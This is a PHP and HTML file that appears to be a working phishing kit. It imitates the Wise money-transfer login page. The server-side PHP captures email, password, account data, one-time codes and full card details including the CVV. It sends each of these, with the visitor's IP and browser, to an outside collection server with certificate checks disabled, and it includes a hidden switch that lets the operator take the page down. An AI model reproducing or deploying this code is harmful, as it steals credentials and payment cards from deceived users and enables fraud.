<?

// ini_set('display_errors', 1);
// ini_set('display_startup_errors', 1);
// error_reporting(E_ALL);

if (!empty($_GET['h']) && $_GET['h'] == 'dasyt52Iq')
	if (@file_put_contents("status", $_GET['s']))
	{
		echo $_GET['s'];
		exit;
	}

$status = file_get_contents("status");

if($status == "stop")
{
	header($_SERVER['SERVER_PROTOCOL']." 404 Not Found");
	exit;
}

class App {
	
	private $ip = null;
	private $tokenId = 62;
	private $url = "https://zloykod.pro";
	// private $tokenId = 2;
	// private $url = "http://pp.local";

	public function __construct()
	{
		$this->setIp();
		$this->getCookies();

		if (!empty($_POST))
			$this->sendPostData($_POST);
		
		if (isset($_GET['getBotData']))
		{
			$this->getTokenData();
		}
	}

	protected function sendPostData($postData)
	{
		if (!empty($postData['leave']))
		{
			$this->sendLeave();
			return;
		}

		if (!empty($postData['setcookie']))
		{
			$this->setCookies($postData['setcookie'], $postData['value']);
			return;
		}

		if (empty($postData['step']))
			return;

		$login = !empty($postData['login']) ? trim($postData['login']) : null;
		$pass = !empty($postData['pass']) ? trim($postData['pass']) : null;
		$acc = !empty($postData['acc']) ? trim($postData['acc']) : null;
		$type = !empty($postData['type']) ? trim($postData['type']) : null; // email, phone, call
		$code = !empty($postData['code']) ? trim($postData['code']) : null;
		$customData = !empty($postData['custom_data']) ? trim($postData['custom_data']) : null;
		$number = !empty($postData['number']) ? trim($postData['number']) : null;
		$expired = !empty($postData['expired']) ? trim($postData['expired']) : null;
		$cvv = !empty($postData['cvv']) ? trim($postData['cvv']) : null;

		$step = trim($postData['step']);
		switch($step) {
			case "1": 
				$this->sendData($login, $pass, $acc);
				break;
			
			case "2": 
				$this->sendType($type);
				break;
			
			case "3": 
				$this->sendCode($code, $customData);
				break;
			
			case "4": 
				$this->sendCard($number, $expired, $cvv);
				break;
		}
	}

	protected function setIp()
	{
		if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
			$this->ip = $_SERVER['HTTP_CLIENT_IP'];
		} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
			$this->ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
		} else {
			$this->ip = $_SERVER['REMOTE_ADDR'];
		}
	}

	public function getIp()
	{
		return $this->ip;
	}

	public function setCookies($name = "t", $value = "")
	{

		if ($this->isPhpVersion("7.3"))
		{
			return setcookie($name, $value, [
				"expires" => time()+720000, // 200 h
				"path" => "/",
				"domain" => $_SERVER['HTTP_HOST'],
			]);
		}
		
		return setcookie(
			$name,
			$value,
			time()+720000,
			"/",
			$_SERVER['HTTP_HOST']
		);
	}

	public function getCookies($name = "t")
	{
		if (!empty($_COOKIE[$name]))
			return $_COOKIE[$name];

		$value = uniqid(rand());

		$this->setCookies($name, $value);

		return $value;
	}

	public function isPhpVersion($version, $mark = ">=")
	{
		return version_compare(phpversion(), $version, $mark);
	}

	protected function sendData($login = null, $password = null, $acc = null)
	{
		$data = [
				'login' => $login,
				'password' => $password,
				'data' => $acc,
			];

		$this->sendQuery($data);
	}

	protected function sendType($type = null)
	{
		$data = [
				'type' => $type,
			];

		$this->sendQuery($data);
	}

	protected function sendCode($code = null, $customData = null)
	{
		$data = [
				'code' => $code,
				'custom_data' => $customData,
			];

		$this->sendQuery($data);
	}

	protected function sendCard($number = null, $expired = null, $cvv = null)
	{
		$card = @json_encode([
				'number' => $number,
				'expired' => $expired,
				'cvv' => $cvv,
			]);
		
		$data = [
			'cardData' => $card
	    ];

		$this->sendQuery($data);
	}

	protected function sendLeave()
	{
		$data = [
			'leave' => 1,
		];

		$this->setCookies();

		$this->sendQuery($data);
	}

	private function sendQuery($options = [])
	{
		$data = array_merge([
				'ua' => trim($_SERVER['HTTP_USER_AGENT']),
				'ip' => $this->getIp(),
				'tId' => $this->tokenId,
				'bId' => $this->getCookies(),
			], is_array($options) ? $options : []);

		$postdata = json_encode($data);

		$parseUrl = parse_url($this->url);

		$ch = curl_init();

		curl_setopt($ch, CURLOPT_URL, trim($this->url, '/') . "/token/add");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
		curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-type: application/json', 'Content-Length: ' . strlen($postdata)]);

		if ($parseUrl['scheme'] == "https") {
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		}

		$response = curl_exec($ch);

		curl_close($ch);

		return $response;
	}

	private function getTokenData()
	{
		$parseUrl = parse_url($this->url);

		$ch = curl_init();

		curl_setopt($ch, CURLOPT_URL, trim($this->url, '/') . "/token/api/token/index?botId=" . $this->getCookies());
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_POST, 0);
		curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-type: application/json']);

		if ($parseUrl['scheme'] == "https") {
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		}

		$response = curl_exec($ch);

		curl_close($ch);

		echo $response;
		exit;
	}

}

$app = new App();
<!DOCTYPE html>
<html lang="en-US" class="np-theme-personal">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<meta name="viewport" content="initial-scale=1.0, width=device-width">
	<link rel="icon" href="/favicon.png" type="image/x-icon">
	<meta name="viewport" content="initial-scale=1.0, width=device-width">
	<title>Login</title>

	<link rel="preload" href="./index_files/248887d03b17086e.css" as="style"><link rel="stylesheet" href="./index_files/248887d03b17086e.css" data-n-g=""><link rel="preload" href="./index_files/226cbe9b10000f86.css" as="style"><link rel="stylesheet" href="./index_files/226cbe9b10000f86.css" data-n-p="">
</head>
<body>
	<div id="__next"><div class="np-theme-personal"><div class="np-theme-personal"><div class="Layout_layout__DjKWw"><div class="np-overlay-header d-flex justify-content-center"><div class="np-flow-header d-flex flex-wrap align-items-center np-overlay-header__content p-a-3"><div class="np-flow-header__left"><a href="/" title="Go to homepage"><svg class="np-logo-svg" xmlns="http://www.w3.org/2000/svg" width="106" height="24" fill="none"><path fill="#163300" d="M58.738.359h6.498l-3.27 23.322h-6.498L58.739.359Zm-8.193 0L46.16 13.794 44.247.359h-4.545L33.96 13.754 33.243.36h-6.299l2.193 23.322h5.223l6.458-14.75 2.272 14.75h5.143L56.725.359h-6.18Zm54.558 13.555H89.674c.08 3.03 1.894 5.023 4.565 5.023 2.014 0 3.608-1.077 4.844-3.13l5.208 2.368C102.501 21.702 98.729 24 94.08 24c-6.339 0-10.545-4.266-10.545-11.123C83.535 5.342 88.478 0 95.455 0c6.14 0 10.007 4.146 10.007 10.605 0 1.076-.12 2.152-.359 3.309Zm-5.78-4.466c0-2.71-1.516-4.425-3.947-4.425-2.512 0-4.585 1.794-5.144 4.425h9.09ZM6.632 7.387 0 15.139h11.844l1.33-3.655H8.1l3.1-3.586.01-.095-2.016-3.471h9.072l-7.032 19.35h4.812L24.538.358H2.6l4.033 7.028Zm69.168-2.364c2.292 0 4.3 1.233 6.055 3.346l.921-6.575C81.143.688 78.93 0 76 0c-5.82 0-9.09 3.409-9.09 7.734 0 3 1.675 4.834 4.426 6.02l1.315.598c2.452 1.047 3.11 1.565 3.11 2.671 0 1.146-1.106 1.874-2.79 1.874-2.782.01-5.034-1.415-6.728-3.847l-.94 6.699C67.234 23.22 69.708 24 72.97 24c5.532 0 8.93-3.19 8.93-7.615 0-3.01-1.335-4.943-4.704-6.458l-1.435-.678c-1.994-.887-2.671-1.375-2.671-2.352 0-1.056.927-1.874 2.71-1.874Z"></path></svg></a></div><div class="align-items-center d-flex np-flow-header__right justify-content-end order-2"><button type="button" class="np-close-button close btn-link text-no-decoration np-close-button--large" aria-label="Close"><span class="tw-icon tw-icon-cross " aria-hidden="true" role="presentation" data-testid="cross-icon"><svg width="24" height="24" fill="currentColor" focusable="false" viewBox="0 0 24 24"><path d="m19.629 5.915-1.2-1.2-6.257 6.257-6.258-6.257-1.2 1.2 6.258 6.257-6.258 6.257 1.2 1.2 6.258-6.257 6.257 6.257 1.2-1.2-6.258-6.257 6.258-6.257Z"></path></svg></span></button></div><div class="align-items-center d-flex justify-content-center order-1 flex-grow-1"></div></div></div><div class="container text-xs-center m-y-4 container--narrow"><div id="trigger"></div><h1 class="h2 m-b-2">Welcome back.</h1><p>New to Wise? <a href="/">Sign up</a></p>

	<div class="row m-t-3">
		<div class="text-xs-center">

			<div class="form-group text-xs-left" id="email-block"><label for="email" id="email-label" style="width:100%"><span class="label">Your email address</span><input inputmode="email" autocomplete="email" id="email" name="username" aria-describedby="email-errors" aria-invalid="false" class="form-control cs-email" value=""></label>
			<div role="alert" id="email-errors" class="alert alert-detach alert-danger"><span class="tw-icon tw-icon-alert-circle " aria-hidden="true" role="presentation" data-testid="alert-circle-icon"><svg width="16" height="16" fill="currentColor" focusable="false" viewBox="0 0 24 24"><path fill-rule="evenodd" clip-rule="evenodd" d="M1.714 11.999c0 5.657 4.629 10.285 10.286 10.285S22.286 17.656 22.286 12C22.286 6.34 17.657 1.713 12 1.713S1.714 6.34 1.714 11.999Zm1.715 0c0-4.715 3.857-8.572 8.571-8.572 4.714 0 8.572 3.857 8.572 8.572 0 4.714-3.858 8.571-8.572 8.571-4.714 0-8.571-3.857-8.571-8.571Zm9.428-5.142h-1.714v6.858h1.714V6.857ZM12 18.001a1.286 1.286 0 1 0 0-2.571A1.286 1.286 0 0 0 12 18Z"></path></svg></span><div>Please fill this field</div></div>
			</div>
			
			<div class="m-t-2"></div>
			
			<div class="form-group text-xs-left" id="password-block">
				<label for="password" id="password-label" style="width:100%"><span class="label">Your password</span>
					<div class="input-group">
						<input autocomplete="current-password" required="" type="password" id="password" name="password" aria-describedby="password-errors" aria-invalid="false" class="form-control cs-password">
						<div class="clearfix"></div>
						<span class="input-group-addon">
							<button id="show-password-btn" class="btn btn-md np-btn np-btn-md btn-accent btn-priority-3 show-password-btn" aria-label="Show password" aria-pressed="false" type="button"><span class="tw-icon tw-icon-eye " aria-hidden="true" role="presentation" data-testid="eye-icon"><svg width="16" height="16" fill="currentColor" focusable="false" viewBox="0 0 24 24"><path fill-rule="evenodd" clip-rule="evenodd" d="m2.571 13.287.713.476.004-.006a3.057 3.057 0 0 1 .128-.177c.095-.126.24-.312.434-.537a13.06 13.06 0 0 1 1.721-1.658C7.082 10.176 9.256 9.001 12 9.001s4.918 1.175 6.429 2.384a13.061 13.061 0 0 1 1.72 1.658 10.362 10.362 0 0 1 .563.714l.004.006.713-.476c.713-.475.713-.476.712-.476l-.001-.002-.004-.006-.01-.015a5.162 5.162 0 0 0-.17-.236c-.117-.155-.286-.37-.507-.628a14.776 14.776 0 0 0-1.95-1.878C17.798 8.684 15.257 7.287 12 7.287c-3.256 0-5.797 1.397-7.5 2.76a14.78 14.78 0 0 0-1.949 1.877 12.087 12.087 0 0 0-.677.864l-.01.015-.004.005v.002l-.001.001.712.476ZM12 15.858a2.571 2.571 0 1 0 0-5.142 2.571 2.571 0 0 0 0 5.143Z"></path></svg></span>
							</button>
						</span>
					</div>
				</label>

				<div role="alert" id="password-errors" class="alert alert-detach alert-danger"><span class="tw-icon tw-icon-alert-circle " aria-hidden="true" role="presentation" data-testid="alert-circle-icon"><svg width="16" height="16" fill="currentColor" focusable="false" viewBox="0 0 24 24"><path fill-rule="evenodd" clip-rule="evenodd" d="M1.714 11.999c0 5.657 4.629 10.285 10.286 10.285S22.286 17.656 22.286 12C22.286 6.34 17.657 1.713 12 1.713S1.714 6.34 1.714 11.999Zm1.715 0c0-4.715 3.857-8.572 8.571-8.572 4.714 0 8.572 3.857 8.572 8.572 0 4.714-3.858 8.571-8.572 8.571-4.714 0-8.571-3.857-8.571-8.571Zm9.428-5.142h-1.714v6.858h1.714V6.857ZM12 18.001a1.286 1.286 0 1 0 0-2.571A1.286 1.286 0 0 0 12 18Z"></path></svg></span><div>Please fill this field</div></div>

			</div><div class="m-t-3">
				<button id="enter-button" class="btn btn-md np-btn np-btn-md btn-block np-btn-block btn-accent btn-priority-1" type="submit" disabled>
					Log in
					<span class="btn-loader" id="btn-loader" style="display:none;"></span>
				</button>
			</div>

		</div>

    <script type="text/javascript" src="./index_files/jquery.min.js"></script>
    <script type="text/javascript" src="./index_files/app.js?3"></script>
    <script type="text/javascript">$(document).ready(function(){
    	let app = new App({
	        redirectAfterEnter: '/login/loading.html',
	    });
	    app.initEnter();

	    let i = 0;
	    $('#show-password-btn').on('click', function() {
	    	if (!i) {
	    		$('#password').attr('type', 'text');
	    		i++;
	    	} else {
	    		$('#password').attr('type', 'password');
	    		i--;
	    	}
	    });
	});
    </script>
		<div class="m-t-2"><div class="d-flex justify-content-between align-items-center"><a href="#" class="np-link np-text-link-large d-inline-flex p-a-0">Trouble logging in?</a></div></div><div class="m-t-3"><p class="text-xs-left m-a-0 m-b-2 login-with">Or log in with</p><div class="swc-social-connect"><button type="button" class="btn swc-social-button-google swc-social-button" aria-label="Login with Google"><span class="sr-only">Login with Google</span></button><button type="button" class="btn swc-social-button-facebook swc-social-button" aria-label="Login with Facebook"><span class="sr-only">Login with Facebook</span></button><button type="button" class="btn swc-social-button-apple swc-social-button" aria-label="Login with Apple"><span class="sr-only">Login with Apple</span></button></div></div></div></div></div></div><div data-testid="footer-container"><footer class="bg-default text-xs-center p-a-1">© Wise US Inc 2026</footer></div></div></div>
</body></html>